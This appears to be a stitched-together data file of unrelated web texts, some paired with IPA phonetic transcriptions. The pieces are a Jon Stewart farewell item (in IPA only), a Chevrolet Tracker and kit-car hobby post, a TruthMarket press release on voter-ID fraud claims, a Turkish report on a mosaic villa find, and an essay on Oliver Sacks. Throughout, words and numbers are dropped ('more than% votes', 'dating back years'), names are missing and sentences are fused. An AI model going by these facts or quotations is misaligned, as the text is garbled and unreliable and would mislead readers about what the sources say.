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twitter: | stuərt ɪz ˈriəˌlaɪzɪŋ ðət hi ˈhæzənt ˈwundɪd fɑks nuz kwaɪt ɛz məʧ ɛz hi maɪt hæv laɪkt. ʤɑn stuərt həz ˈɔrkɪˌstreɪtɪd ˈkaʊntləs ˈɛpɪk ɛz hoʊst əv ðə ˈdeɪli ʃoʊ, bət wɑz ɪt ɔl fər nɔt? ˈdʊrɪŋ hɪz pɛˈnəltəmət ˈɛpɪˌsoʊd, stuərt ʃoʊd ˈhɛˌdlaɪnz frəm ˈɑrtɪkəlz ðət hæd bɪn ˈrɪtən əˈbaʊt hɪz ˈpriviəs ˈɛpɪˌsoʊdz ðət juzd wərdz laɪk "əˈvɪsərˌeɪtɪd" tɪ dɪˈskraɪb ðə weɪ hi wʊd ˈprɛzənt hɪz vjuz ɔn ə ˌkɑntrəˈvərʃəl ˈtɑpɪk. "aɪ fil laɪk wət wiv bɪlt hir ɪz ə ˈmɑnjəmənt tɪ evisceration*," rɪˈflɛktɪd stuərt, huz ˈfaɪnəl ˈɛpɪˌsoʊd ɛrz ˈθərzˌdeɪ, ˈɔgəst. 6 "baɪ ðə weɪ, ɪt ˈwəzənt ʤɪst eviscerating*. wi 'dɪˈmɑlɪʃt,' 'krəʃt' wi 'əˈnaɪəˌleɪtɪd' θɪŋz. aɪ rɪˈmɛmbər wən naɪt, ˈivɪn ðə həlk wɑz laɪk, 'dud, sloʊ daʊn.' ɪn ə ˌsɛgˈmɛnt ɛnˈtaɪtəld "ðə ˈdeɪli ʃoʊ: dɪˈstrɔɪər əv wərldz," stuərt pleɪd klɪps əv hɪmˈsɛlf ˈmɑkɪŋ səm əv hɪz ˈfeɪvərɪt ˈtɑrgəts, ˌɪnˈkludɪŋ ˈaɪsəs, ˈreɪʃəl ˈtɛnʃən ɪn ðə juz. ənd, əv kɔrs, fɑks nuz. ɪn iʧ əv ðə ˈɪnstənsɪz, stuərt ˈlɔdɪd hɪmˈsɛlf fər ˈteɪkɪŋ daʊn ðə əˈpoʊnənt ˌbiˈfɔr ðɛn pleɪɪŋ nuz ˈfʊtɪʤ ðət proʊˈkleɪmd iʧ ˈtərgət stɪl tɪ bi ɛz strɔŋ ɛz ˈɛvər. hi dɪˈklɛrd ðət fɑks nuz' paʊər ɪz naʊ gɔn, ˈoʊnli tɪ ðɛn ɛr ə klɪp əˈnaʊnsɪŋ ðət ðə ˈnɛtˌwərk wʊd ˈmɑdərˌeɪt ðɪs wiks rɪˈpəblɪkən dəˈbeɪt. "dɪd aɪ seɪ fɑks nuz' ˈɪnfluəns wɑz gɔn?" æst stuərt. "wət aɪ mɛnt wɑz, ɪts gɔn ɔl ðə weɪ tɪ ðə waɪt haʊs." ðɪs lɛd ɪm tɪ ə grɪm əˈsɛsmənt əv hɪz ˈtɛnjər ɛz hoʊst əv ðə ʃoʊ. "ðə wərld ɪz dɪˈmɑnstrəbli wərs ðən wɪn aɪ ˈstɑrtɪd hæv aɪ kɔzd ðɪs?" hi ˈpɑndərd. ˈfaɪnəli, hi ɛrd klɪps əv hɪmˈsɛlf bɪˈreɪtɪŋ hɪz bɪˈləvəd nu jɔrk mɛts ˈoʊvər ðə jɪrz ˌbiˈfɔr ə ˈrisənt nuz klɪp dɪˈklɛrd ðə mɛts ɪn fərst pleɪs, ˈkɔzɪŋ stuərt tɪ ʧɪr raucously*. stuərts gɛst wɑz ˈlɔŋˌtaɪm frɛnd luɪs c.k*., hu preɪzd stuərt fər hɪz taɪm ɔn ðə ʃoʊ bət ˈɔlsoʊ fər biɪŋ ˈwɪlɪŋ tɪ wɔk əˈweɪ ɔn tɔp. "əm ˈrɪli əˈmeɪzd baɪ wət ju dɪd hir," sɛd c.k*. "ɪts ˈrɪli laɪk wən əv ðə greɪt ˈkɑmədi əˈkɑmplɪʃmənts əv ɔl taɪm ðət ju dɪd." iˈmeɪl: tˈwɪtər: |
another 1990 chevrolet tracker post...
moab easter jeep safari. i did top of the world trail, and had a great time. the following were taken on an outing which happened to turn out as a mud trip because the road to the trail head was blocked. meet '87 you import can dream about bringing in a skyline all day but this is what i would have. somebody convince they should produce this. i'll trade the on board hot water & all wheel drive features for a factory locker & low range. this is a pic i put together just for kicks. this is my other car, a fiber fab avenger. it is a kit car made in the '70s. based on a chassis with a '92 subaru it has all the wiring in a box waiting. i have had this since i was 16 (also when this pic was have yet to put it all together. to complete i will need a whole new front suspension, discs new paint, fiberglass work and an interior. page one moab! & big air page two random page three dreams page four progress page five things to come | əˈnəðər 1990 ˌʃɛvroʊˈleɪ ˈtrækər poʊst... moʊæb ˈistər ʤip səˈfɑri. aɪ dɪd tɔp əv ðə wərld treɪl, ənd hæd ə greɪt taɪm. ðə ˈfɑloʊɪŋ wər ˈteɪkən ɔn ən ˈaʊtɪŋ wɪʧ ˈhæpənd tɪ tərn aʊt ɛz ə məd trɪp bɪˈkəz ðə roʊd tɪ ðə treɪl hɛd wɑz blɑkt. mit 87 ju ˌɪmˈpɔrt kən drim əˈbaʊt ˈbrɪŋɪŋ ɪn ə ˈskaɪˌlaɪn ɔl deɪ bət ðɪs ɪz wət aɪ wʊd hæv. ˈsəmˌbɑdi kənˈvɪns ðeɪ ʃʊd ˈproʊdus ðɪs. aɪl treɪd ðə ɔn bɔrd hɑt ˈwɔtər ɔl wil draɪv ˈfiʧərz fər ə ˈfæktəri ˈlɑkər loʊ reɪnʤ. ðɪs ɪz ə pɪk aɪ pʊt təˈgɛðər ʤɪst fər kɪks. ðɪs ɪz maɪ ˈəðər kɑr, ə ˈfaɪbər fæb əˈvɛnʤər. ɪt ɪz ə kɪt kɑr meɪd ɪn ðə 70s*. beɪst ɔn ə ˈʧæsi wɪθ ə 92 ˈsubəru ɪt həz ɔl ðə ˈwaɪrɪŋ ɪn ə bɑks ˈweɪtɪŋ. aɪ hæv hæd ðɪs sɪns aɪ wɑz 16 (ˈɔlsoʊ wɪn ðɪs pɪk wɑz hæv jɛt tɪ pʊt ɪt ɔl təˈgɛðər. tɪ kəmˈplit aɪ wɪl nid ə hoʊl nu frənt səˈspɛnʃən, dɪsks nu peɪnt, ˈfaɪbərˌglæs wərk ənd ən ˌɪnˈtɪriər. peɪʤ wən moʊæb! bɪg ɛr peɪʤ tu ˈrændəm peɪʤ θri drimz peɪʤ fɔr ˈprɑˌgrɛs peɪʤ faɪv θɪŋz tɪ kəm |
a marketplace for truth telling these laws predictably disenfranchise mostly poor and elderly voters.
truthmarket, a division of truth seal corp., today announced that a private citizen, geoff tranchina, is using the platform to dispute claims that new voter id laws address a significant problem of voter fraud. if tranchina is able to $10,000 from other citizens opposing these laws, he will be able to launch a campaign to challenge the claims of republican legislators promulgating these laws. the first person who can deliver verifiable proof that more than% votes were fraudulent in any statewide or federal election since 2000 would win a $10,000 bounty.
stating that voter fraud is, in fact, insignificant, campaign will maintain that actions to ram through voter fraud laws requiring photo ids are a thinly disguised republican power grab. even the bush administration refuted those claims as fraudulent. tranchina states that, “since many poor and elderly citizens cannot easily get to government offices or bear the costs in time and money to secure government ids, these laws predictably disenfranchise mostly poor and elderly voters. jim crow laws were used for decades, in a similar way, to keep freed slaves from voting, and other barriers have been put in front of disadvantaged voters ever since.” by barring these voters, who generally favor democratic candidates, from polling places, the laws are likely to reduce their numbers and influence election results.
to win the $10,000 bounty, a campaign challenger will have to provide verifiable evidence that more than% votes were fraudulent in any statewide or federal election since 2000.
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marketplace for truth telling, and are trademarks of truth seal corp. | ə ˈmɑrkɪtˌpleɪs fər truθ ˈtɛlɪŋ ðiz lɔz prɪˈdɪktəbli dɪsɪnˈfrænˌʧaɪz ˈmoʊstli pur ənd ˈɛldərli ˈvoʊtərz., ə dɪˈvɪʒən əv truθ sil ˈkɔrpərˈeɪʃən., təˈdeɪ əˈnaʊnst ðət ə ˈpraɪvət ˈsɪtɪzən, ʤɛf trɑnˈkinə, ɪz ˈjuzɪŋ ðə ˈplætˌfɔrm tɪ dɪˈspjut kleɪmz ðət nu ˈvoʊtər ˈaɪˈdi lɔz ˈæˌdrɛs ə sɪgˈnɪfɪkənt ˈprɑbləm əv ˈvoʊtər frɔd. ɪf trɑnˈkinə ɪz ˈeɪbəl tɪ frəm ˈəðər ˈsɪtɪzənz əˈpoʊzɪŋ ðiz lɔz, hi wɪl bi ˈeɪbəl tɪ lɔnʧ ə kæmˈpeɪn tɪ ˈʧælənʤ ðə kleɪmz əv rɪˈpəblɪkən ˈlɛʤəsˌleɪtərz ˈprɑməlˌgeɪtɪŋ ðiz lɔz. ðə fərst ˈpərsən hu kən dɪˈlɪvər ˈvɛrəˌfaɪəbəl pruf ðət mɔr ðən voʊts wər ˈfrɔʤələnt ɪn ˈɛni ˈsteɪtˌwaɪd ər ˈfɛdərəl ɪˈlɛkʃən sɪns 2000 wʊd wɪn ə ˈbaʊnti. ˈsteɪtɪŋ ðət ˈvoʊtər frɔd ɪz, ɪn fækt, ˌɪnsɪgnˈjɪfɪkənt, kæmˈpeɪn wɪl meɪnˈteɪn ðət ˈækʃənz tɪ ræm θru ˈvoʊtər frɔd lɔz rikˈwaɪərɪŋ ˈfoʊˌtoʊ ˈaɪˈdiz ər ə ˈθɪnli dɪsˈgaɪzd rɪˈpəblɪkən paʊər græb. ˈivɪn ðə bʊʃ ædˌmɪnɪˈstreɪʃən rɪfˈjutɪd ðoʊz kleɪmz ɛz ˈfrɔʤələnt. trɑnˈkinə steɪts ðət, ˈmɛni pur ənd ˈɛldərli ˈsɪtɪzənz ˈkænɑt ˈizəli gɪt tɪ ˈgəvərnmənt ˈɔfəsɪz ər bɛr ðə kɔsts ɪn taɪm ənd ˈməni tɪ sɪˈkjʊr ˈgəvərnmənt ˈaɪˈdiz, ðiz lɔz prɪˈdɪktəbli dɪsɪnˈfrænˌʧaɪz ˈmoʊstli pur ənd ˈɛldərli ˈvoʊtərz. ʤɪm kroʊ lɔz wər juzd fər ˈdɛkeɪdz, ɪn ə ˈsɪmələr weɪ, tɪ kip frid sleɪvz frəm ˈvoʊtɪŋ, ənd ˈəðər ˈbɛriərz hæv bɪn pʊt ɪn frənt əv ˌdɪsədˈvænɪʤd ˈvoʊtərz ˈɛvər since.”*.” baɪ ˈbɑrɪŋ ðiz ˈvoʊtərz, hu ˈʤɛnərəli ˈfeɪvər ˌdɛməˈkrætɪk ˈkænədɪts, frəm ˈpoʊlɪŋ ˈpleɪsɪz, ðə lɔz ər ˈlaɪkli tɪ rɪˈdus ðɛr ˈnəmbərz ənd ˈɪnfluəns ɪˈlɛkʃən rɪˈzəlts. tɪ wɪn ðə ˈbaʊnti, ə kæmˈpeɪn ˈʧælɪnʤər wɪl hæv tɪ prəˈvaɪd ˈvɛrəˌfaɪəbəl ˈɛvədəns ðət mɔr ðən voʊts wər ˈfrɔʤələnt ɪn ˈɛni ˈsteɪtˌwaɪd ər ˈfɛdərəl ɪˈlɛkʃən sɪns 2000 əˈbaʊt ɪz ə dɪˈvɪʒən əv truθ sil, ə ˌkæləˈfɔrnjə ˌkɔrpərˈeɪʃən. ɪz dɪˈzaɪnd tɪ bi ə ˈpɑpjələr ˈɔnˌlaɪn ˈplætˌfɔrm ðət ɪˈneɪbəlz ˈɛvriˌwən tɪ kæmˈpeɪn fər truθ ɪn ˈpəblɪk ˈdaɪəˌlɔg. ðə ˈpraɪˌmɛri əˈbʤɛktɪv ɪz tɪ ˌɪnˈkris truθ ənd trəst θruaʊt ðə ˈpəblɪk ˌɪnˌfɔrˈmeɪʃən speɪs ˈɔnˌlaɪn ənd ˈɔˌflaɪn baɪ ˈpəblɪkli ɪkˈspoʊzɪŋ fɔls kleɪmz ənd ˈhaɪˌlaɪtɪŋ tru kleɪmz. ˈəltəmət goʊl ɪz tɪ ˌpridɪˈspoʊz ɔl ˈpəblɪk ˈdaɪəˌlɔg təˈwɔrd truθ ˈtɛlɪŋ ˈtreɪdˌmɑrks ˈmɑrkɪtˌpleɪs fər truθ ˈtɛlɪŋ, ənd ər ˈtreɪdˌmɑrks əv truθ sil ˈkɔrpərˈeɪʃən. |
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an archaeological city dating back years has been unearthed during excavations in’s neighborhood, raising officials’ hopes the area will draw tourists’ cultural beings and museums’ general director osman süslü held a press conference oct. 21 regarding the discovery of the archaeological city, which culture and tourism minister has defined as “good news that will draw the work had started in the area, which is now categorized as a third degree archaeological site, before the construction of a warehouse company was scheduled to begin. excavations were begun due to an abundance of signs the area may be a hotspot for archaeological treasures, süslü said. “scientific excavations started oct. 1 and a layer from the century b.c. has been unearthed,” he city is believed to date back to around the late roman or byzantium period, süslü said. it was home to a villa complex with walls, water channels and 11 mosaics were found in six of the villa rooms. “the mosaics are decorated with animal and plant figures that you cannot see anywhere today. they created the anatolian panther, the anatolian tiger as well as a partridge and a rabbit [in mosaics]. they are decorated with completely natural stones. you can see various shades of red, blue and green. there is a rich archaeological structuring in the region,” he to süslü, the historic structure in the city could be defined as the “zeugma of the west,” but the most sorrowful thing was the illegal excavations. is the ancient city known for its rich mosaics in the southeastern province of unearthed during illegal excavations from were sold abroad at trifling prices and later major efforts were put underway to bring those artifacts back, süslü said.süslü warned those involved in illegal excavations that there would be repercussions to their actions. “these people should know that we pay for artifacts when they inform us [of their discovery]. citizens should prevent illegal excavations when they see [them happening].”further, more detailed information about the name and estimated size of the city in would be given as a result of detailed excavation works, süslü said. “it is known that there are lost cities in anatolia. works will tell us which lost city this is.” | i̇zmir* ˈprɛzənts moʊˈzeɪɪk ˈsɪti əv ˈwɛstərn ˈriʤən ˌænəˈtoʊliə nuz ˈeɪʤənsi ˈprɛʃəs moʊˈzeɪɪks wɪθ ˈænəməl ənd plænt ˈfɪgjərz wər faʊnd ɪn sɪks əv ðə ˈvɪlə rumz, əˈnərθt ɪn ˈneɪbərˌhʊd. ən ˌɑrkiəˈlɑʤɪkəl ˈsɪti ˈdeɪtɪŋ bæk jɪrz həz bɪn əˈnərθt ˈdʊrɪŋ ˌɛkskəˈveɪʃənz ɪn ˈneɪbərˌhʊd, ˈreɪzɪŋ officials’*’ hoʊps ðə ˈɛriə wɪl drɔ tourists’*’ ˈkəlʧərəl biɪŋz ənd museums’*’ ˈʤɛnərəl dɪˈrɛktər ˈɑsmən süslü*ü hɛld ə prɛs ˈkɑnfərəns ɔkt. 21 rɪˈgɑrdɪŋ ðə ˌdɪˈskəvri əv ðə ˌɑrkiəˈlɑʤɪkəl ˈsɪti, wɪʧ ˈkəlʧər ənd ˈtʊˌrɪzəm ˈmɪnɪstər həz dɪˈfaɪnd ɛz nuz ðət wɪl drɔ ðə wərk hæd ˈstɑrtɪd ɪn ðə ˈɛriə, wɪʧ ɪz naʊ ˈkætəgərˌaɪzd ɛz ə θərd dɪˈgri ˌɑrkiəˈlɑʤɪkəl saɪt, ˌbiˈfɔr ðə kənˈstrəkʃən əv ə ˈwɛˌrhaʊs ˈkəmpəˌni wɑz ˈskɛʤʊld tɪ bɪˈgɪn. ˌɛkskəˈveɪʃənz wər ˈbeɪgən du tɪ ən əˈbəndəns əv saɪnz ðə ˈɛriə meɪ bi ə ˈhɑtˌspɑt fər ˌɑrkiəˈlɑʤɪkəl ˈtrɛʒərz, süslü*ü sɛd. ˌɛkskəˈveɪʃənz ˈstɑrtɪd ɔkt. 1 ənd ə leɪər frəm ðə ˈsɛnʧəri b.c*. həz bɪn unearthed,”*,” hi ˈsɪti ɪz bɪˈlivd tɪ deɪt bæk tɪ əraʊnd ðə leɪt ˈroʊmən ər bəˈzæntiəm ˈpɪriəd, süslü*ü sɛd. ɪt wɑz hoʊm tɪ ə ˈvɪlə ˈkɑmplɛks wɪθ wɔlz, ˈwɔtər ˈʧænəlz ənd 11 moʊˈzeɪɪks wər faʊnd ɪn sɪks əv ðə ˈvɪlə rumz. moʊˈzeɪɪks ər ˈdɛkərˌeɪtɪd wɪθ ˈænəməl ənd plænt ˈfɪgjərz ðət ju ˈkænɑt si ˈɛniˌwɛr təˈdeɪ. ðeɪ kriˈeɪtɪd ðə ˌænəˈtoʊliən ˈpænθər, ðə ˌænəˈtoʊliən ˈtaɪgər ɛz wɛl ɛz ə ˈpɑrtrɪʤ ənd ə ˈræbɪt [ɪn moʊˈzeɪɪks]. ðeɪ ər ˈdɛkərˌeɪtɪd wɪθ kəmˈplitli ˈnæʧərəl stoʊnz. ju kən si ˈvɛriəs ʃeɪdz əv rɛd, blu ənd grin. ðɛr ɪz ə rɪʧ ˌɑrkiəˈlɑʤɪkəl ˈstrəkʧərɪŋ ɪn ðə region,”*,” hi tɪ süslü*ü, ðə hɪˈstɔrɪk ˈstrəkʧər ɪn ðə ˈsɪti kʊd bi dɪˈfaɪnd ɛz ðə əv ðə west,”*,” bət ðə moʊst ˈsɑroʊfəl θɪŋ wɑz ðə ˌɪˈligəl ˌɛkskəˈveɪʃənz. ɪz ðə ˈeɪnʧənt ˈsɪti noʊn fər ɪts rɪʧ moʊˈzeɪɪks ɪn ðə ˌsaʊˈθistərn ˈprɑvɪns əv əˈnərθt ˈdʊrɪŋ ˌɪˈligəl ˌɛkskəˈveɪʃənz frəm wər soʊld əˈbrɔd æt ˈtraɪflɪŋ ˈpraɪsɪz ənd ˈleɪtər ˈmeɪʤər ˈɛfərts wər pʊt ˌəndərˈweɪ tɪ brɪŋ ðoʊz ˈɑrtəˌfækts bæk, süslü*ü said.süslü*ü wɔrnd ðoʊz ˌɪnˈvɑlvd ɪn ˌɪˈligəl ˌɛkskəˈveɪʃənz ðət ðɛr wʊd bi ˌripərˈkəʃənz tɪ ðɛr ˈækʃənz. ˈpipəl ʃʊd noʊ ðət wi peɪ fər ˈɑrtəˌfækts wɪn ðeɪ ˌɪnˈfɔrm ˈjuˈɛs [əv ðɛr ˌdɪˈskəvri]. ˈsɪtɪzənz ʃʊd prɪˈvɛnt ˌɪˈligəl ˌɛkskəˈveɪʃənz wɪn ðeɪ si [ðɛm happening].”further*, mɔr dɪˈteɪld ˌɪnˌfɔrˈmeɪʃən əˈbaʊt ðə neɪm ənd ˈɛstəˌmeɪtɪd saɪz əv ðə ˈsɪti ɪn wʊd bi ˈgɪvɪn ɛz ə rɪˈzəlt əv dɪˈteɪld ˌɛkskəˈveɪʃən wərks, süslü*ü sɛd. ɪz noʊn ðət ðɛr ər lɔst ˈsɪtiz ɪn ˌænəˈtoʊliə. wərks wɪl tɛl ˈjuˈɛs wɪʧ lɔst ˈsɪti ðɪs is.”*.” |
in february, 2015, neurologist oliver sacks arguably the world's brain doctor and the greatest physician writer in english, wrote an article in the new york times called my own life, announcing that "my luck has run out."
dr. sacks, 81 years old, still wildly productive, clear-headed, feeling robust, and swimming a mile a day, had just found out he had multiple metastases, from an cancer that had been treated nine years before. one-third of his liver was filled with cancer.
no sooner had he shared his ill fortune than did he begin to write of his gratitude for the years he had been granted since his original diagnosis, and his overall feeling of gratitude for having lived as "a being, a thinking animal, on this beautiful planet "
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hardly a word more was said about the cancer. for now, face to face with dying, he was not quite done with living. he would restrict himself to essentials, which meant saying goodbye to dear friends and family, and continuing to write as he always had, hoping to die "in harness."
a group of short, extraordinarily affecting essays followed, his farewell to the world, leaving many readers in tears. dr. specialty had been documenting how an individual, trapped in an extreme mental state that altered perception and even identity, retained his humanity. how, one wondered, might dr. sacks bear up when facing his own ultimate transformation?
there were surprises, and some revelations, too, in these lyrical meditations, which have been gathered together in a very short book collection called, fittingly, gratitude, which appeared on nov. 24, not long after the release of his memoir, on the move.
the essays in gratitude had a spare beauty about them unusual for a writer who so loved the rich tangent. they were unique among his other, more lush, scientific writings. they had the feel of wisdom literature. wisdom sifts; a wise man, mindful that he has little time to say what he must, gets to the point.
and the tone was unusual. they were both and poignant. these are two qualities that rarely go together; we tend to think of stoicism as a kind of armour worn against our emotions, and poignancy as the breaking through, into our stream of consciousness, of emotions, even our most tender and delicate feelings. the poignancy and stoicism of the gratitude essays was heightened by dr. reiteration that he was an atheist. he was, as far as he knew, facing a total of his identity.
instead of "battling" his illness, the common metaphor of such accounts, he accepted that he was going to die. and his attitude, in gratitude, is ultimately to see dying odd as it is to say it as an opportunity, of sorts. his burgeoning awareness that his life is ending is affording him a vision of it he had not had before. "over the last few days, i have been able to see my life as from a great altitude, as sort of a landscape, and with a deepening sense of the connection of all its parts."
the final essay concluded: "and now, weak, short of breath, my muscles melted away by cancer, i find my thoughts, increasingly, not on the supernatural or spiritual but on what is meant by living a good and worthwhile life achieving a sense of peace within oneself. i find my thoughts drifting to the sabbath, the day of rest, the seventh day of the week, and perhaps the seventh day of one's life as well, when one can feel that one's work is done, and one may, in good conscience, rest."
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most readers came to dr. sacks far sooner though, through his medical writing, which had always been a literary event as well as a scientific one. w.h. auden called his second book,, a "masterpiece." the prominent literary critic frank wrote of it, "this doctor's report is written in prose of such beauty that you might well look in vain for its equal among living practitioners of belles letters." but he was also a physician's physician, and when he died, the surgeon wrote in the new yorker, "no one taught me more about how to be a doctor than oliver sacks." this dr. gleaned not from working with dr. sacks at the bedside, but from reading him.
dr. sacks saw himself as a naturalist, cut loose within the world of medicine, and naturalists love to collect, catalogue, describe and discern, in great detail, the manifold variations in nature. dr. sacks was wedded to the proposition that we learn best from a close study of the particular. he hated textbooks, with their generalizations and remote language, and science by committee. he wrote to each patient's unique experience, often using their own idiosyncratic speech. he listened not only with a stethoscope, but a poet's ear.
thus dr. writing required a plentiful prose. he never used just one adjective when he could use many; he loved crisscrossing between case reports written centuries and continents apart; and his footnotes grew like vines from the bottom of the page upward with each subsequent edition. he hid treasures in those footnotes that could be more intriguing than those found in the main text.
gratitude, such a personal book, might seem but a footnote to dr. medical career. but that makes sense if we see medicine as only about "cures" and dying as something it needn't concern itself with. in these final essays dr. sacks took as his primary subject the case of oliver sacks himself, in the process of dying, to teach us something about how to die.
oliver legacy was to restore a vision of a humane medicine that drew its power not from technological breakthroughs alone, but through the healing power of the relationship. it had roots in a more old-fashioned view that came in part from his father, who had close relationships with his patients and did frequent house calls. it was a form of care that required an almost immersion in the lives of his patients by dr. sacks, which allowed him to draw portraits of human beings of an incomparable subtlety and sensitivity, while shedding new light on the mysteries of the brain. he also rejuvenated for us the rich tradition of the case history.
yet dr. triumph did not come immediately or without opposition.
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"[w]ith little encouragement from my colleagues," he wrote, "… i became a storyteller at a time when medical narrative was almost extinct. it was a lonely but deeply satisfying, almost existence that i was to lead for many years."
it may sound a strange claim, but the detailed case history which in the century produced some of the finest descriptions of patients ever written had all but disappeared from the neurology journals when dr. sacks started writing, and, even today, it is rare. the great-century neurologists, lacking scans, eegs, and statistics, perfected their skills and the art of talking to patients so as to help them describe how those patients' mental experiences were altered by their brain problems.
with the advent of modern lab and scanning techniques, these and communicative skills atrophied. the journals changed, too. detailed accounts of individual patients increasingly disappeared, replaced by group studies of "subjects," described in more abstract, statistical terms, based on their scans and scores on tests. instead of reporting what was unique about a patient, studies reported what was average about a population. and averages smear out what is unique about individuals.
and if an individual patient was described, it was often in a anecdote not to be confused with a detailed case history. if anything, the anecdote was intentionally nondescript, suppressing personal details, because it focused not on the person with the disease, but the disease itself. to some tastes, this made the anecdote seem more "scientific." after all, a diagnosis describes a disease, something that is supposed to be fairly invariant from person to person. a diagnosis is what a group of people have in common, not what distinguishes them from each other.
in this frame of mind, the mental life of the person with the illness is a distraction.
one of oliver many “think boards” from his days.
oliver breakthrough book was based on his work at a backward hospital, beth abraham, in the bronx. it was the kind of place conventionally ambitious physicians avoided. there he discovered about 80 patients who had suffered an illness called encephalitis lethargica, which left them, after a period of great nervous excitement, with "sleeping sickness," often frozen in fixed postures, like "living statues," mute and unable to move. an earlier physician had described them as "extinct volcanoes." sometimes, even their thought processes were in a kind of suspended animation. they had been this way for four decades.
to understand these often mute patients, dr. sacks totally immersed himself in their lives, moved into the hospital apartment, and took call every night for almost four years, after working his regular days. over time, he began to sort out their individual characters, and noted that they had parkinson's symptoms. he eventually discovered they responded to a new drug,.
former "statues" turned into flappers, and danced together. though many were pushing 70, they felt as if they were in their twenties, and spoke using phrases, and accents of their youth. their faces seemed to confirm that suspension of time: immobile and expressionless for so long, they hadn't formed wrinkles.
his first five medical reports, describing their profoundly moving and dramatic "awakenings" on the drug, received very positive responses when published in major medical journals, such as the lancet and the journal of the american medical association.
less well known, but a crucial spur to his development as a thinker and clinician, was what happened after. dr. sacks reported that, within months, his patients experienced major side effects on, and cautioned that maybe these people were sensitive "canaries in the coal mine," and that might best be used with caution on more typical parkinson's patients. he was viciously attacked. some said he was "off his head," and that no such side effects occurred.
when he tried to publish a systematic study of these "side effects" (which he thought were really "effects" of the drug) in the same medical journals that had published his first findings, and others, he was refused.
dr. sacks was struck by how his colleagues, though they thought of themselves as scientists, were using almost religious language, describing as a "miracle drug." and so he began to how yearnings drive longings in doctors and patients alike, and colour our views of medication, treatment, and, indeed, the whole world of illness.
he published his findings in 1973, not in a medical journal, but in a book meant for anyone who was interested:. as years passed, and the side effects dr. sacks observed were seen by others, the book became a classic with the lay public and neurologists alike, and was adapted into a well-known film, but not before he was fired for daring to question authority, and told by his boss to vacate the apartment at beth abraham, depriving him of his home, his job and, most important, his regular access to his patients.
dr. sacks in new york circa 1970.
awakenings became a success, but it wasn't until 12 years later, when the man who mistook his wife for a hat came out, that dr. sacks became a bestselling author.
hat, as his friends came to call it, explains how discrete localized brain problems lead to very specific changes in mental experience. the "man" of the title, dr. p., a music teacher, had a lesion in a specific visual area of the brain. the most famous scene in the book begins when dr. p., believing that dr. sacks had just finished examining him, "started to look around for his hat. he reached out his hand and took hold of his wife's head, tried to lift it off, to put it on. his wife looked as if she was used to such things." when dr. p. was walking in the street he would, somewhat magoo-like, "pat the heads of and parking-meters, taking these to be the heads of children."
if was a feverish, tidal book, overwhelming with its stories of living death, resurrection, and living death returned, hat was a more classical one: multiple, clinical tales, written with great charm, about how brain problems lead to losses, or excesses, of mental activity.
hat's preface included powerful arguments for why case histories are every bit as medically important as studies.
the idea of the case history goes back to ancient greece, and hippocrates, who first wrote about diseases having a course, a way of unfolding in time. doctors began to write "histories" of their patients' illnesses, essentially biographies of disease, but, dr. sacks argued, they were really "pathographies" of the illnesses themselves, in which the human subjects largely disappeared.
dr. sacks argued that this convention was no longer sufficient, and wrote, "to restore the human subject at the centre the suffering, afflicted, fighting human subject we must deepen a case history to a narrative or tale." these clinical tales, like classical fables, "have archetypal figures heroes, victims, martyrs, warriors," because "patients are all of these," and more, "travellers to unimaginable lands."
this restoration of the person to the centre was especially, and obviously, necessary for neurology, psychology and psychiatry, dr. sacks wrote in hat, "for here the patient's is essentially involved, and the study of disease and identity cannot be disjoined."
the strongest single influence on dr. idea of how to develop these "clinical tales" was the russian scientist luria (1902-77). it was from dr. luria that dr. sacks got the inspiration and the model that would allow him to make the case history his major focus.
dr. luria, as a very young man, was a major contributor to the development of psychoanalysis in his country, and corresponded about the subject with sigmund freud who was originally a neurologist, and who, according to dr. sacks, wrote case-histories." dr. luria was drawn to analysis because it was, as far as he knew, the only branch of psychology that took both materialist science and human subjectivity seriously.
but this was not to last. in the late 1920s, under joseph stalin, psychoanalysis was decreed "politically incorrect." one month after giving a sympathetic lecture on freud's thought, dr. luria, fearing for his survival, publicly renounced his ideological "mistake," and abruptly resigned from the russian society. he went off to medical school, and reinvented himself, pioneering the field of and the study of the higher cortical functions of the brain. he published conventional and treatises.
but in private letters to dr. sacks, in 1976, dr. luria made clear that he still took psychoanalysis seriously, and in one he offered a psychoanalytic interpretation of one of dr. neurological patients. though he had disavowed his commitment to analysis, dr. luria had been writing up neurological case histories in the detailed manner of freud, in secret, for decades.
when dr. sacks first read one of these cases, dr. the mind of a mnemonist, in 1968 (about a russian with an almost perfect memory who made his living performing feats on stage, but who was also deeply tormented because he could not, like most people, automatically forget unimportant events), dr. sacks thought it must have been a novel, dr. luria had so well described the man's unusual subjective experience.
when he realized it was non-fiction, dr. sacks was so filled with admiration that he also became overwhelmed with fear, thinking, place is there for me in the world? luria has already seen, said, written, and thought anything i can ever say, or write, or think." dr. sacks was so upset that he tore the library copy he was reading in two then, getting a hold of himself, went out and bought one replacement copy for the library, and one for himself.
verbatim: oliver sacks on the art of writing
dr. sacks credits that book with altering the course of his life. the next summer, he wrote the first nine case histories of. dr. luria, to whom the book was dedicated, was delighted, and wrote to dr. sacks that the kind of approach taken in "is lost now, perhaps because of the basic mistake that mechanical and electrical devices can replace the study of personality."
with "the advent of the new instrumentation," technology was getting between the physician and the patient. "the physicians of our time, having a battery of auxiliary laboratory aids and tests, frequently overlook clinical reality."
this would seem an extreme statement; after all, why must new technological tools lead to a loss of clinical reality? can we not have both? can one not enhance the other? and yet, dr. luria, according to dr. sacks, believed that there was a "conceptual and emotional atmosphere" that came with technology that cast a shadow over the relationship.
this occurs, i would argue, because technology is not simply something we use; it comes part and parcel with a particular medical theory and practice.
modern scientific medicine has taken a fundamentally materialist approach, and it is "analytical," meaning that it divides wholes into parts. it often proceeds by reducing complex phenomena to their more elementary chemical and physical components: viruses, genes, molecules, and so on. our technology measures these elements. that is what we do when we determine that a patient has a fever and trouble breathing because her lung is infected with microscopic bacteria.
in psychology, this materialist theory aims to reduce all psychological phenomena to physiological laws of how the brain works. the goal is ultimately to build up abstract models of the brain, based on the observation of its individual elements.
but, dr. luria worried, "one outcome of this approach is the reduction of living reality with all its richness of detail to abstract schemas." dr. luria wanted to restore the whole patient to scientific papers, and leave aside the abstractions, and even, he confessed, the description of personality with statistics. can we human beings be understood solely in terms of our elements, our molecules, atoms, our parts, our circuits, our reflexes, even our behaviours? or must not all of it be understood as part of a whole experience, which would include, of course, the subjective, qualitative mental experiences and intentions that drive behaviour?
